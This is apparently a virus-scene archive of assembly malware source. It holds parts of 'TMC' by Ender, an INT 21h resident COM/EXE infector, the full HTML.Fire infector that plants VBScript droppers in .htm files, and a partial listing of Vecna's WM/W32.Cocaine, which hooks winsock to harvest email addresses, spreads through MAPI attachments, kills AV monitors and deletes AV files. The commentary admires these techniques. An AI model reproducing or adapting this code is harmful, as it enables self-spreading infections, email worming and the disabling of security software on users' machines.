I< xchg ax, dx >
I< pop dx >
I< ret >

BLOCK @rnd_max_0
I< xor ax, ax >
I< ret >

BLOCK read_byte
I< mov [bp + 1234h], ah >
RELO save_ah
I< mov ax, si >
I< sub ax, bp >
I< sub ax, 1234h >
RELO src_src
I< mul word ptr [bp + 1234h] >
RELO xor_add
I< add al, [bp + 1234h] >
RELO xor_const
I< xor al, ds:[si] >
I< mov ah, [bp + 1234h] >
RELO save_ah
I< inc si >
I< ret >

BLOCK read_word
CALLL read_byte
I< mov ah, al >
CALLL read_byte
I< xchg al, ah >
I< ret >

BLOCK old_prog
I< pop es >
MAIN.INC

I< mov ah, 49h >


I< int 21h >
I< pop bx >
I< pop ax >
I< mov ds, ax >
I< mov es, ax >
I< mov ah, 4ah >
I< int 21h >

I< lea bx, [bp + 1234h] >


RELO old_entry
I< pop ax >
I< mov cs:[bx+1], ax >
I< pop ax >
I< mov cs:[bx+3], ax >

I< pop ax >


I< pop ss >
I< mov sp, ax >
JUMP old_entry

BLOCK old_entry
D< db 0EAh, 0, 0, 0, 0 >

;============================ DATA ======================================


BLOCK save_ah
D< db 0 >
BLOCK @JMPS
D< dw START_JMPS >
BLOCK xor_const
D< db 0 >
BLOCK xor_add
D< dw 0 >
BLOCK filetype
D< db 0 >
BLOCK old_inst
D< db 0c3h, 0, 0 >
BLOCK _old_inst
D< db 0c3h, 0, 0 >
BLOCK old_cs
D< dw -10h >
BLOCK old_ss
D< dw -10h >
BLOCK old_ip
D< dw 100h >
BLOCK _old_ip
D< dw 100h >
BLOCK old_sp
D< dw 0fffeh >
BLOCK min_mem
D< dw 1000h >
BLOCK old_max_mem
D< dw 0ffffh >
BLOCK max_mem
D< dw 0 >
BLOCK save_ds
D< dw 0 >
BLOCK vir_size
D< dw 0 >
BLOCK ofs_in_mem
D< dw 0 >
BLOCK src_src
MAIN.INC

db M_STOP, M_END

;============================ CODE ======================================


src_vir:
BLOCK in_mem
I< xor bp, bp >
I< mov ds, bp >
I< mov bx, ds:[46Dh] >
I< push cs >
I< pop ds >
I< and bx, 0FFF0h >
I< mov ds:[1234h], bx >
RELO ticks
CALLL crypt_data
CALLL @rnd
I< mov ds:[1234h], al >
RELO xor_const
I< mov ds:[1234h], ah >
RELO xor_add
CALLL crypt_data
I< mov ax, 3521h >
I< int 21h >
I< mov di, 1234h >
RELO old21
I< mov word ptr ds:[di], bx >
I< mov word ptr ds:[di+2], es >
I< mov dx, 1234h >
RELO int21
I< mov ax, 2521h >
I< int 21h >
JUMP old_prog

BLOCK crypt_data
I< mov si, 1234h >
RELO src_src
I< mov cx, offset src_end - offset src >
JUMP crypt_next_byte

BLOCK crypt_next_byte
I< xor ds:[si], al >
I< inc si >
I< add al, ah >
I< dec cx >
_JNZ crypt_next_byte
I< ret >

include src\tsr.inc

;============================ DATA ======================================


BLOCK text_text
D< db 13, 10, 13, 10, 'þ TMC 1.0 by Ender þ', 13, 10, 'Welcome to the Tiny
Mutation Compiler!', 13, 10, 'Dis is level 6*9.', 13, 10, 'Greetings to virus makers: Dark
Avenger, Vyvojar, SVL, Hell Angel', 13, 10, 'Personal greetings: K. K., Dark Punisher',13, 10
, 13, 10 >
db M_STOP, M_END
src_end:
TSR.INC

;INFECT_ONLY_CMM_EXX = 1

BLOCK int21
I< cld >
CALLL push_all
I< cmp ah, 3ch >
_JZ infect_floppy
I< cmp ah, 3dh >
_JZ infect_floppy
I< cmp ah, 3eh >
_JZ infect_close
I< cmp ah, 4bh >
_JNZ call_int21
JUMP infect_and_call_int21

BLOCK infect_and_call_int21
CALLL infect
JUMP call_int21

BLOCK call_int21
CALLL pop_all
I< jmp dword ptr cs:[1234h] >
RELO old21

BLOCK infect_floppy
I< mov si, dx >
I< lodsb >
I< cmp byte ptr ds:[si], ':' >
_JNZ no_drive_pressed
I< or al, 20h >
I< cmp al, 'b' >
_JA call_int21
JUMP infect_in_close

BLOCK no_drive_pressed
I< push ax >
I< mov ah, 19h >
I< int 21h >
I< cmp al, 1 >
I< pop ax >
_JA call_int21
JUMP infect_in_close

BLOCK infect_in_close
I< cmp ah, 3ch >
_JNZ infect_and_call_int21
I< xor bx, bx >
CALLL check4handle
_JNZ call_int21
CALLL init_int24
I< mov ah, 60h >
I< dec si >
I< push cs >
I< pop es >
I< mov di, 1234h >
RELO path
I< int 21h >
; _JC no_inf_int24
CALLL pop_all
I< pushf >
I< call dword ptr cs:[1234h] >
RELO old21
TSR.INC

CALLL push_all
I< pushf >
I< mov bx, 0FFFFh >
I< adc bx, 0 >
I< and ax, bx >
I< mov cs:[1234h], ax >
RELO handle
CALLL deinit_int24
I< popf >
CALLL pop_all
I< sti >
I< retf 2 >

BLOCK infect_close
CALLL check4handle
_JC call_int21
I< xor ax, ax >
I< mov cs:[1234h], ax >
RELO handle
CALLL pop_all
I< pushf >
I< call dword ptr cs:[1234h] >
RELO old21
CALLL push_all
I< pushf >
I< push cs >
I< pop ds >
I< mov dx, 1234h >
RELO path
CALLL infect
I< popf >
CALLL pop_all
I< sti >
I< retf 2 >

; BX - handle
; if CF=1 iny handle alebo ine PSP
; if ZF=1 ine PSP alebo BX=HANDLE
BLOCK check4handle
I< push bx >
I< mov ah, 62h >
I< int 21h >
I< mov di, 1234h >
RELO psp
I< cmp cs:[di], bx >
I< mov cs:[di], bx >
I< mov di, 1234h >
RELO handle
_JNZ new_psp
I< pop bx >
I< mov ax, bx >
I< sub ax, word ptr cs:[di] >
I< add ax, 0FFFFh >
I< inc ax >
I< ret >

BLOCK new_psp
I< mov word ptr cs:[di], 0 >
I< xor ax, ax >
I< pop bx >
I< stc >
I< ret >
TSR.INC

BLOCK infect
I< push ds >
I< pop es >
I< mov di, dx >
I< mov cx, 67d >
I< xor al, al >
I< repne scasb >
_JNZ no_inf
I< lea si, [di - 5] >
I< lodsw >
I< or ax, 2020h >
I< mov bx, 'mo' >
ifdef INFECT_ONLY_CMM_EXX
I< mov bx, 'mm' >
endif
I< cmp ax, 'c.' >
_JZ file_ok
I< mov bx, 'ex' >
ifdef INFECT_ONLY_CMM_EXX
I< mov bx, 'xx' >
endif
I< cmp ax, 'e.' >
_JZ file_ok
JUMP no_inf

BLOCK file_ok
I< lodsw >
I< or ax, 2020h >
I< cmp ax, bx >
_JNZ no_inf
I< sub si, 4 >
JUMP prepare_str

BLOCK prepare_str
I< dec si >
I< mov al, [si] >
I< cmp al, '/' >
_JZ str_start
I< cmp al, '\' >
_JZ str_start
I< cmp al, ':' >
_JZ str_start
I< cmp si, dx >
_JA prepare_str
I< dec si >
JUMP str_start

BLOCK str_start
I< inc si >
I< lodsw >
I< or ax, 2020h >
I< xor ax, 0AA55h

I< cmp ax, ('ci' xor 0AA55h) >


_JZ no_inf
I< cmp ax, ('on' xor 0AA55h) >
_JZ no_inf
I< cmp ax, ('ew' xor 0AA55h) >
_JZ no_inf
I< cmp ax, ('bt' xor 0AA55h) >
_JZ no_inf
TSR.INC

I< cmp ax, ('va' xor 0AA55h) >


_JZ no_inf
I< cmp ax, ('-f' xor 0AA55h) >
_JZ no_inf
I< cmp ax, ('cs' xor 0AA55h) >
_JZ no_inf
I< cmp ax, ('lc' xor 0AA55h) >
_JZ no_inf

I< cmp ax, ('oc' xor 0AA55h) >


_JZ no_inf
I< cmp ax, ('iw' xor 0AA55h) >
_JZ no_inf
I< cmp ax, ('rk' xor 0AA55h) >
_JZ no_inf

CALLL init_int24

I< mov ax, 3d02h >


I< pushf >
I< call dword ptr cs:[1234h] >
RELO old21
_JC no_inf_int24

I< mov bx, ax >

I< xor ax, ax >


I< mov ds, ax >
I< mov si, ds:[46Dh] >

I< push cs >


I< push cs >
I< pop ds >
I< pop es >

I< mov ax, 05700h >


I< int 21h >
_JC close

I< mov ds:[1234h], dx >


RELO date
I< mov al, cl >
I< and al, 00011111b >
I< cmp al, 4 >
_JZ close

I< and cl, 11100000b >


I< or cl, 4 >
I< mov ds:[1234h], cx >
RELO time

I< and si, 0FFF0h >


I< cmp ds:[1234h], si >
RELO ticks
_JZ close
I< mov ds:[1234h], si >
RELO ticks

I< mov ah, 3fh >


I< mov cx, 18h >
I< mov dx, 1234h >
RELO exe_header
TSR.INC

I< mov si, dx >


I< int 21h >
_JC close

I< mov ax, 4202h >


I< cwd >
I< xor cx, cx >
I< int 21h >

I< mov word ptr ds:[0], 02e8dh >

I< cmp word ptr ds:[si], 'ZM' >


_JZ exe_infect
I< cmp word ptr ds:[si], 'MZ' >
_JZ exe_infect

I< mov byte ptr ds:[1234h], cl >


RELO filetype
; min 3kb COM file
I< cmp ax, 3000d >
_JB close
; max 57kb COM file
I< cmp ax, 57000d >
_JA close

I< push si >


I< mov di, 1234h >
RELO exe_header
I< mov cl, ds:[di] >
I< mov byte ptr ds:[di], 0E9h >
I< inc di >
I< mov ds:[1234h], cl >
RELO old_inst
I< mov ds:[1234h], cl >
RELO _old_inst
I< mov cx, ds:[di] >
I< mov si, 1234h >
RELO old_inst
I< mov ds:[si + 1], cx >
I< sub ax, 3 >
I< stosw >

I< mov ax, BAD_CLEAN >


I< cmp word ptr ds:[1234h], ax >
RELO @JMPS
_JA no_com_ojeb
I< mov bp, 16 >
CALLL @rnd_max
I< sub ax, 8 >
I< add cx, ax >
JUMP no_com_ojeb

BLOCK no_com_ojeb
I< mov si, 1234h >
RELO _old_inst
I< mov ds:[si + 1], cx >
I< pop si >
I< mov ax, -10h >
I< mov ds:[1234h], ax >
RELO old_cs
I< mov ds:[1234h], ax >
RELO old_ss
TSR.INC

I< mov ax, 100h >


I< mov ds:[1234h], ax >
RELO old_ip
I< mov ds:[1234h], ax >
RELO _old_ip
I< mov ax, 0FFFEh >
I< mov ds:[1234h], ax >
RELO old_sp
I< inc ax >
I< mov ds:[1234h], ax >
RELO old_max_mem
I< mov ax, 1000h >
I< mov ds:[1234h], ax >
RELO min_mem

I< mov ax, 4202h >


I< cwd >
I< xor cx, cx >
I< int 21h >

I< add ax, 100h >


JUMP set_marker

BLOCK set_marker
I< mov ds:[2], ax >
I< mov ah, 40h >
I< cwd >
I< mov cx, 1234h >
RELO in_mem
I< int 21h >
_JC close

I< mov ax, 4200h >


I< cwd >
I< xor cx, cx >
I< int 21h >

I< mov ah, 40h >


I< mov dx, si >
I< mov cx, 18h >
I< int 21h >
_JC close

I< mov ax, 5701h >


I< mov cx, ds:[1234h] >
RELO time
I< mov dx, ds:[1234h] >
RELO date
I< int 21h >
JUMP close

BLOCK close
I< mov ah, 3eh >
I< int 21h >
JUMP no_inf_int24

BLOCK no_inf_int24
CALLL deinit_int24
JUMP no_inf

BLOCK no_inf
I< ret >
TSR.INC

BLOCK exe_infect
I< inc cx >
I< mov byte ptr ds:[1234h], cl >
RELO filetype

; min 10kb EXE file


I< or dx, dx >
_JNZ no_short_exe
I< cmp ax, 10000d >
_JB close
JUMP no_short_exe
; max 400kb EXE file
BLOCK no_short_exe
I< cmp dx, 400 / 66 >
_JA close

I< push ax >


I< push dx >
I< mov cx, 200h >
I< div cx >
I< inc ax >
I< cmp [si + 04h], ax >
I< pop dx >
I< pop ax >
_JNZ close

I< push ax >


I< push dx >
I< xor ax, ax >
I< cmp word ptr ds:[si + 0ch], 0FFFFh >
_JZ max_mem_FFFF

I< mov ax, [si + 4] >


I< inc ax >
I< mov cl, 5 >
I< shl ax, cl >
I< sub ax, [si + 8] >
JUMP max_mem_FFFF

BLOCK max_mem_FFFF
I< add ax, [si + 0ch] >
I< mov ds:[1234h], ax >
RELO old_max_mem
I< mov ax, [si + 0eh] >
I< mov ds:[1234h], ax >
RELO old_ss
I< mov ax, [si + 10h] >
I< mov ds:[1234h], ax >
RELO old_sp
I< mov ax, [si + 14h] >
I< mov ds:[1234h], ax >
RELO old_ip
I< mov ds:[1234h], ax >
RELO _old_ip
I< mov ax, [si + 16h] >
I< mov ds:[1234h], ax >
RELO old_cs

I< pop dx >


I< pop ax >
I< push ax >
TSR.INC

I< push dx >

I< mov word ptr [si + 0ch], 0FFFFh >


I< mov word ptr [si + 10h], 07ffeh >
I< mov word ptr [si + 14h], 0 >
I< mov cx, 10h >
I< div cx >
I< sub ax, [si + 8] >
I< inc ax >
I< mov [si + 0eh], ax >
I< mov [si + 16h], ax >

I< mov ax, [si + 04h] >


I< inc ax >
I< mov cl, 5 >
I< shl ax, cl >
I< sub ax, [si + 8] >
I< add ax, [si + 0ah] >
I< mov di, ax >

I< pop cx >


I< pop dx >
I< and dx, not 0fh >
I< add dx, 10h >
I< adc cx, 0 >
I< mov ax, 4200h >
I< int 21h >
I< add ax, 1234h >
RELO in_mem
I< adc dx, 0 >

I< mov cx, 200h >


I< div cx >
I< mov [si + 02h], dx >
I< add dx, 0FFFFh >
I< adc ax, 0 >
I< mov [si + 04h], ax >
I< mov [si + 0ah], 800h >

I< inc ax >


I< mov cl, 5 >
I< shl ax, cl >
I< sub ax, [si + 8] >
I< add ax, [si + 0ah] >
I< mov word ptr ds:[1234h], ax >
RELO min_mem

I< sub di, ax >


_JBE write_exeh
I< add [si + 0ah], di >
JUMP write_exeh

BLOCK write_exeh
I< mov ax, BAD_CLEAN >
I< cmp word ptr ds:[1234h], ax >
RELO @JMPS
I< mov ax, 0 >
_JA set_marker
I< mov bp, 16 >
CALLL @rnd_max
I< sub al, 8 >
I< mov di, 1234h >
TSR.INC

RELO _old_ip
I< add ds:[di + 1], al >
I< mov word ptr ds:[0], 0ed33h >
I< mov ax, 09090h >
JUMP set_marker

BLOCK int24
I< mov al, 3 >
I< iret >

BLOCK init_int24
I< push dx >
I< push ds >
I< push es >
I< push cs >
I< pop ds >
I< mov ax, 3524h >
I< int 21h >
I< mov ds:[1234h], es >
RELO int24_seg
I< mov ds:[1234h], bx >
RELO int24_ofs
I< mov dx, 1234h >
RELO int24
I< mov ax, 2524h >
I< int 21h >
I< pop es >
I< pop ds >
I< pop dx >
I< ret >

BLOCK deinit_int24
I< push ds >
I< mov dx, cs:[1234h] >
RELO int24_ofs
I< mov ds, cs:[1234h] >
RELO int24_seg
I< mov ax, 2524h >
I< int 21h >
I< pop ds >
I< ret >

BLOCK push_all
I< pop word ptr cs:[1234h] >
RELO exit_adr
I< push ax >
I< push bx >
I< push cx >
I< push dx >
I< push si >
I< push di >
I< push bp >
I< push ds >
I< push es >
I< jmp word ptr cs:[1234h]
RELO exit_adr

BLOCK pop_all
I< pop word ptr cs:[1234h] >
RELO exit_adr
I< pop es >
I< pop ds >
TSR.INC

I< pop bp >


I< pop di >
I< pop si >
I< pop dx >
I< pop cx >
I< pop bx >
I< pop ax >
I< jmp word ptr cs:[1234h]
RELO exit_adr

BLOCK old21
D< dd 0 >
BLOCK int24_seg
D< dw 0 >
BLOCK int24_ofs
D< dw 0 >
BLOCK exit_adr
D< dw 0 >
BLOCK exe_header
D< db 18h dup(0) >
BLOCK ticks
D< dw 0 >
BLOCK time
D< dw 0 >
BLOCK date
D< dw 0 >
BLOCK psp
D< dw 0 >
BLOCK handle
D< dw 0 >
BLOCK path
D< db 7 dup(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0ah) >
MACROS.INC

MAX_CODE_SIZE EQU 10h

M_END EQU 0
M_CODE EQU 0E8h ;start of code
M_CALL EQU 0E8h
M_JMP EQU 0E9h
M_RELO EQU 0EDh
M_BLOCK EQU 0EEh
M_STOP EQU 0EFh

START_JUMP EQU 0F0h

M_J_COND EQU 0F0h


M_JO EQU 0F0h
M_JNO EQU 0F1h
M_JC EQU 0F2h
M_JB EQU 0F2h
M_JNAE EQU 0F2h
M_JNB EQU 0F3h
M_JAE EQU 0F3h
M_JZ EQU 0F4h
M_JE EQU 0F4h
M_JNZ EQU 0F5h
M_JNE EQU 0F5h
M_JBE EQU 0F6h
M_JNA EQU 0F6h
M_JNBE EQU 0F7h
M_JA EQU 0F7h

M_JS EQU 0F8h


M_JNS EQU 0F9h
M_JP EQU 0FAh
M_JPE EQU 0FAh
M_JNP EQU 0FBh
M_JPO EQU 0FBh
M_JL EQU 0FCh
M_JNGE EQU 0FCh
M_JNL EQU 0FDh
M_JGE EQU 0FDh
M_JLE EQU 0FEh
M_JNG EQU 0FEh
M_JNLE EQU 0FFh
M_JG EQU 0FFh

_JO macro num


db M_JO
dw num
endm

_JNO macro num


db M_JNO
dw num
endm

_JC macro num


db M_JC
dw num
endm

_JB macro num


db M_JB
dw num
MACROS.INC

endm

_JNAE macro num


db M_JNAE
dw num
endm

_JNB macro num


db M_JNB
dw num
endm

_JAE macro num


db M_JAE
dw num
endm

_JZ macro num


db M_JZ
dw num
endm

_JE macro num


db M_JE
dw num
endm

_JNZ macro num


db M_JNZ
dw num
endm

_JNE macro num


db M_JNE
dw num
endm

_JBE macro num


db M_JBE
dw num
endm

_JNA macro num


db M_JNA
dw num
endm

_JNBE macro num


db M_JNBE
dw num
endm

_JA macro num


db M_JA
dw num
endm

_JS macro num


db M_JS
dw num
endm
MACROS.INC

_JNS macro num


db M_JNS
dw num
endm

_JP macro num


db M_JP
dw num
endm

_JPE macro num


db M_JPE
dw num
endm

_JNP macro num


db M_JNP
dw num
endm

_JPO macro num


db M_JPO
dw num
endm

_JL macro num


db M_JL
dw num
endm

_JNGE macro num


db M_JNGE
dw num
endm

_JNL macro num


db M_JNL
dw num
endm

_JGE macro num


db M_JGE
dw num
endm

_JLE macro num


db M_JLE
dw num
endm

_JNG macro num


db M_JNG
dw num
endm

_JNLE macro num


db M_JNLE
dw num
endm

_JG macro num


db M_JG
MACROS.INC

dw num
endm

CALLL macro num


db M_CALL
dw num
endm

JUMP macro num


db M_JMP
dw num
endm

RELO macro num


db M_RELO
dw num
endm

BLOCK macro num


db M_STOP, M_BLOCK
dw num
endm

I macro inst
local end_inst
db end_inst - $ - 1
inst
end_inst:
endm

D macro inst
local end_inst
db end_inst - $ - 1 + MAX_CODE_SIZE
inst
end_inst:
endm
HTML.Fire is first in the world HTML/DOS hybrid. The virus infects all htm files in current directory. It uses
VBScript in HTML (given version works under Internet Explorer 4.0 and above) to convert itself back to DOS
executable by running debug with hex-dump script in shell.
In fact it is a direct action html-infector, that finds .htm files on local disc beeing runned, and places there a
VBScript with hexdump to reborn this dropper again.

Download source code of HTML.Fire here


HTML.Fire.asm

comment *

HTML.FIRE BY ULTRAS/MATRiX
~~~~~~~~~~~~~~~~~~~~~~~~~~

First in the world HTML/DOS hybrid. The virus infects all htm files in current
The catalogue writes down at the end of a file debug script. The given version
Works under Internet Explorer 4.0 and above.

model tiny
code
org 100
start:
mov ah,4e
mov dx,offset htm_
find:
int 21
jc exit
mov ax,3d02
mov dx,9e
int 21
jc findnext
xchg bx,ax
mov ax,5700
int 21
push cx dx
cmp dh,80
jae zaraza
mov ax,4202
xor cx,cx
xor dx,dx
int 21
mov si,100
mov di,offset end_virus
mov cx,end_virus-start
push bx
call @1
pop bx
call infect
pop dx
add dh,0c8
push dx
zaraza:
pop dx cx
mov ax,5701
int 21
mov ah,3e
int 21
findnext:
mov ah,4f
jmp find
exit:
mov ax,4c00
int 21
@1:
push cx
lodsb
mov bx,ax
mov cx,4
shr al,cl
HTML.Fire.asm

push ax
call @2
stosb
pop ax
shl al,cl
sub bl,al
xchg al,bl
call @2
stosb
mov ax,' '
stosb
pop cx
loop @1
stosb
stosb
ret
@2:
cmp al,0a
jae @3
add al,'0'
ret
@3:
add al,'A'-0a
ret
infect:
mov ah,40
mov dx,offset headerinf
mov cx,hendinf-headerinf
int 21
mov dx,offset end_virus
d_loop:
push dx
call calcloc
call write_par
pop dx
push dx
mov cx,di
sub cx,dx
cmp cx,60d
jb write_d
mov cx,60d
write_d:
mov ah,40
int 21
push ax
mov dx,offset echodest
mov cx,evirusf-echodest
mov ah,40
int 21
pop ax
pop dx
add dx,ax
cmp dx,di
jae write_zap
jmp d_loop
write_zap:
mov ah,40
mov dx,offset zap_vir
mov cx,end_zap-zap_vir
int 21
mov dx,offset endinf
mov cx,end_endinf-endinf
HTML.Fire.asm

mov ah,40
int 21
ret
virii db 'FiRe by ULTRAS'
write_par:
mov cx,enddb-databyte
jmp short ech_o
mov cx,5
ech_o:
mov dx,offset databyte
mov ah,40
int 21
ret
calcloc:
push ax bx cx dx si di
sub dx,offset end_virus
mov ax,dx
mov cx,3
xor dx,dx
div cx
mov dx,ax
add dx,100
mov di,offset hifr
mov si,offset loc_
xchg dh,dl
mov loc_,dx
mov cx,2
call @1
mov di,offset buffer
mov si,offset hifr
movsw
lodsb
movsw
pop di si dx cx bx ax
ret
htm_ db '*.htm',0
zap_vir:
db 's.WriteLine "ECHO g >>fire.scr"',0dh,0a
db 's.WriteLine "ECHO q >>fire.scr"',0dh,0a
end_zap:
databyte db 's.WriteLine "ECHO E'
buffer db '0100 '
enddb:
echodest db ' >>'
virscr db 'fire.scr"',0dh,0a
evirusf:
endinf:
db 's.WriteLine "debug<fire.scr"',0dh,0a
db 's.WriteLine "del fire.scr"',0dh,0a
db 's.WriteLine "ctty con"',0dh,0a
db 's.Close',0dh,0a
db 'a.Run ("ultras.bat")',0dh,0a
db '--></script>',0dh,0a
end_endinf:
headerinf:
db 0dh,0a,'<script Language="VBScript"><!--',0dh,0a
db 'Dim a,f,s',0dh,0a
db 'Set a = CreateObject("Wscript.Shell")',0dh,0a
db 'Set f = CreateObject("Scripting.FileSystemObject")',0dh,0a
db 'Set s = f.CreateTextFile("ultras.bat", 2, False)',0dh,0a
db 's.WriteLine "@echo off"',0dh,0a
db 's.WriteLine "ctty nul"',0dh,0a
HTML.Fire.asm

hendinf:
loc_ dw 0
hifr dw 0,0,0,0
end_virus:
end start
This virus is another fine creation by Vecna. What's good on this one? It is one of few multipartite viruses,
infecting both PE files and Word documets.
Virus is per process resident, with full win32 compatability, even manipulation with PE header under NT
works fine (this is in couple of viruses handled incorrectly). Another good feature is lz/rle compression to
reduce its size, well it couple of years ago when first virus with compresion, Cruncher hitted the world, and
still its worthy idea. Polymorphism application in the virus is based on the initial code islands strategy (as
used on Commander Bomber or in OneHalf), followed by several poly loops in the PE code, here are called
poly subroutines with local variables. To make the virus even better, macro stuph is polymorphic too.
Identification of the virus is harder for the AVerz due the anti-emulation code usage, some parts are
encrypted in memory, virus runs in multiple threads.

There are several ways of spreading the virus - it acts as direct action infector, hooks MAPI calls and
attached infected documents or files to emails sended from the affected computer, sends emails to visited
webpages. Clever on the email spreading strategy is storing of the crc32 of the email to which infected
messages have been already sent.
No virus is perfect without some retro stuph - in this case AVP monitor is forced to say goodbye and very
possitive effect - by deleting AV checksums this virus increases free disk space :)
Of course, it has also more advanced features, but to discover them you will have to check the virus
yourselves :P

Virus has payload - a message box, which is displayed 8 months after infection. Without this feature could
virus live forever on the comp, it is not necessary to give the user a hit on virus infection....

Download source code of WM/W32.Cocaine here


COKE.ASM

;Wm/W32.Cocaine - 22231 bytes


;(c) Vecna 1999
;
;I not in mood to write much, so, check the code and you will find:
;
;*full w32 compatibility
;*per-process residence(import table/getprocaddress)
;*direct action spreading
;*multipartite pe<->doc
;*http background spreading(send email to visited www pages)
;*attach infected documents(or files, if no documents) to outgoing messages
;*keep addressbook of already sended emails(crc32 only)
;*Commander Bomber/OneHalf infection scheme (island->island(*8)->poly)
;*several advanced poly loops in pe files
;*poly subroutines with local variables and params
;*advanced garbling
;*anti-emulation/anti-cryptanalisis internal decription loop
;*macro poly made by asm code
;*lz/rle compression
;*in memory created droppers
;*in memory encription(poly routines, macro stuf)
;*kill avp monitor
;*delete av files
;*msgbox payload(8 months incubation)
;*MAPI hooking
;*correct checksum in pe header(nt compliant)
;*memory mapping
;*multithread
;
;does other stuffs...
;
;Greetz go to Z0MBiE, VirusBuster and Reptile(the first to use macro autoload)

.586p
.model flat, STDCALL
locals

include host.inc

ofs equ offset


by equ byte ptr
wo equ word ptr
dwo equ dword ptr

TRUE EQU 1
FALSE EQU 0

MAIL_DEBUG EQU FALSE

DIRECT EQU TRUE

MONTH_DELAY EQU 8

MAX_BRANCH EQU 8 ;beware DrWeb! (5 here=detect!)

MAX_M_DEEP EQU 6

MAIL_PRIORITY EQU 10 ;seconds

MAX_SOCK EQU 10

DIV_VALUE EQU 101


COKE.ASM

MAX_PATH EQU 260

MIN_RAW EQU (MAX_BRANCH+1)*100h

vsize equ vend - vcode

msize equ mend - vcode

_VSEG segment dword use32 public 'COCAINE'

vcode label

db '(c) Vecna', 0

FunDate db 0 ;month to activate

InitWSOCK proc
call @@1
wsock32 db 'WSOCK32.DLL', 0
@@1:
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
test eax, eax
jz @@0
call @@2
db 'connect',0
@@2:
push eax
call @@3
db 'recv', 0
@@3:
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _recv-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _connect-ofs vcode)], eax
clc
ret
@@0:
stc
ret
InitWSOCK endp

http_install proc
sub ecx, ecx
call @@set_seh
mov esp, [esp+8]
call delta
jmp @@fault
@@set_seh:
push dwo fs:[ecx]
mov fs:[ecx], esp
call InitWSOCK
jc @@fault
mov ebx, [ebp+(ofs _base-ofs vcode)]
@@check:
cmp wo [ebx], 'ZM'
je @@found
@@fault:
sub ecx, ecx
pop dwo fs:[ecx]
pop ecx
COKE.ASM

ret
@@found:
mov edi, [ebx+3ch]
lea edi, [ebx+edi+128]
mov edi, [edi]
@@2:
mov esi, [ebx+edi+12]
test esi, esi
jz @@ret
add esi, ebx
lodsd
or eax, 20202020h
cmp eax, 'cosw'
je @@wsock
add edi, 20
jmp @@2
@@wsock:
mov esi, [ebx+edi+16]
add esi, ebx
@@searchloop:
lodsd
test eax, eax
jz @@ret
cmp eax, [ebp+(ofs _connect-ofs vcode)]
jne @@3
lea eax, [ebp+(ofs New_connect-ofs vcode)]
lea edi, [esi-4]
mov ecx, 4
push esi
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi
pop esi
@@3:
cmp eax, [ebp+(ofs _recv-ofs vcode)]
jne @@searchloop
lea eax, [ebp+(ofs New_recv-ofs vcode)]
lea edi, [esi-4]
mov ecx, 4
push esi
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi
pop esi
@@ret:
jmp @@fault
http_install endp

NewGetProcAddress proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [esp+(7*4)+4], eax
call InitWSOCK
jc @@1
lea eax, [ebp+(ofs wsock32-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
test eax, eax
COKE.ASM

jz @@1
cmp [esp+(7*4)+12], eax
jnz @@1
lea eax, [ebp+(ofs CheckWSOCK32-ofs vcode)]
xchg [esp+(7*4)+8], eax
mov [ebp+(ofs wsock_ret-ofs vcode)], eax
@@1:
popad
ret
NewGetProcAddress endp

CheckWSOCK32 proc
push ebp
call delta
cmp eax, [ebp+(ofs _connect-ofs vcode)]
jne @@1
lea eax, [ebp+(ofs New_connect-ofs vcode)]
jmp @@2
@@1:
cmp eax, [ebp+(ofs _recv-ofs vcode)]
jne @@2
lea eax, [ebp+(ofs New_recv-ofs vcode)]
@@2:
pop ebp
push 12345678h
wsock_ret equ dwo $-4
ret
CheckWSOCK32 endp

New_connect proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _connect-ofs vcode)]
mov [esp+(7*4)+4], eax
mov esi, [esp+(7*4)+16]
mov ax, wo [esi+2] ;port number
cmp ax, 5000h ;80
jne @@1
mov eax, [esp+(7*4)+12] ;get socket
mov ebx, [ebp+(ofs _socket-ofs vcode)]
mov [ebp+(ofs socket-ofs vcode)+(ebx*4)], eax
inc ebx
cmp ebx, MAX_SOCK
jne @@2
sub ebx, ebx
@@2:
mov [ebp+(ofs _socket-ofs vcode)], ebx
@@1:
popad
ret
New_connect endp

delta proc
call @@1
@@1:
pop ebp
sub ebp, (ofs @@1-ofs vcode)
ret
delta endp

New_recv proc
COKE.ASM

push esp
pushad
call delta
mov eax, [ebp+(ofs _recv-ofs vcode)]
mov [esp+(7*4)+4], eax
mov eax, [esp+(7*4)+12]

lea edi, [ebp+(ofs socket-ofs vcode)]


mov ecx, MAX_SOCK
repne scasd
jecxz @@1

mov eax, [esp+(7*4)+16]


mov [ebp+(ofs recv_buff-ofs vcode)], eax
mov eax, [esp+(7*4)+20]
mov [ebp+(ofs recv_size-ofs vcode)], eax
lea eax, [ebp+(ofs New_recv2-ofs vcode)]
xchg [esp+(7*4)+8], eax
mov [ebp+(ofs recv_ret-ofs vcode)], eax
@@1:
popad
ret
New_recv endp

New_recv2 proc
pushad
call delta
mov eax, [ebp+(ofs email_w-ofs vcode)]
test eax, eax
jnz @@0
mov esi, [ebp+(ofs recv_buff-ofs vcode)]
mov ecx, [ebp+(ofs recv_size-ofs vcode)]
sub ecx, 8
@@1:
push ecx
push esi
lodsd
or eax, 20202000h
cmp eax, 'iam"'
jne @@2
lodsd
or eax, 00202020h
cmp eax, ':otl'
jne @@2
lea edi, [ebp+(ofs email-ofs vcode)]
lea ebx, [edi+127]
@@4:
lodsb
cmp al, '"'
je @@3
cmp al, '?'
je @@3
cmp edi, ebx
je @@3
stosb
jmp @@4
@@3:
sub eax, eax
stosb
dec eax
mov dwo [ebp+(ofs email_w-ofs vcode)], eax
@@2:
COKE.ASM

pop esi
inc esi
pop ecx
loop @@1
@@0:
popad
push 12345678h
recv_ret equ dwo $-4
ret
New_recv2 endp

MailThread proc
cld
mov ebp, [esp+4]
sub eax, eax
call @@set_seh
mov esp, [esp+8]
call delta
push -1
call [ebp+(ofs _Sleep-ofs vcode)]
@@set_seh:
push dwo fs:[eax]
mov fs:[eax], esp
@@main_loop:
mov ecx, [ebp+(ofs email_w-ofs vcode)]
test ecx, ecx
jz @@no_queued

lea esi, [ebp+(ofs email-ofs vcode)]

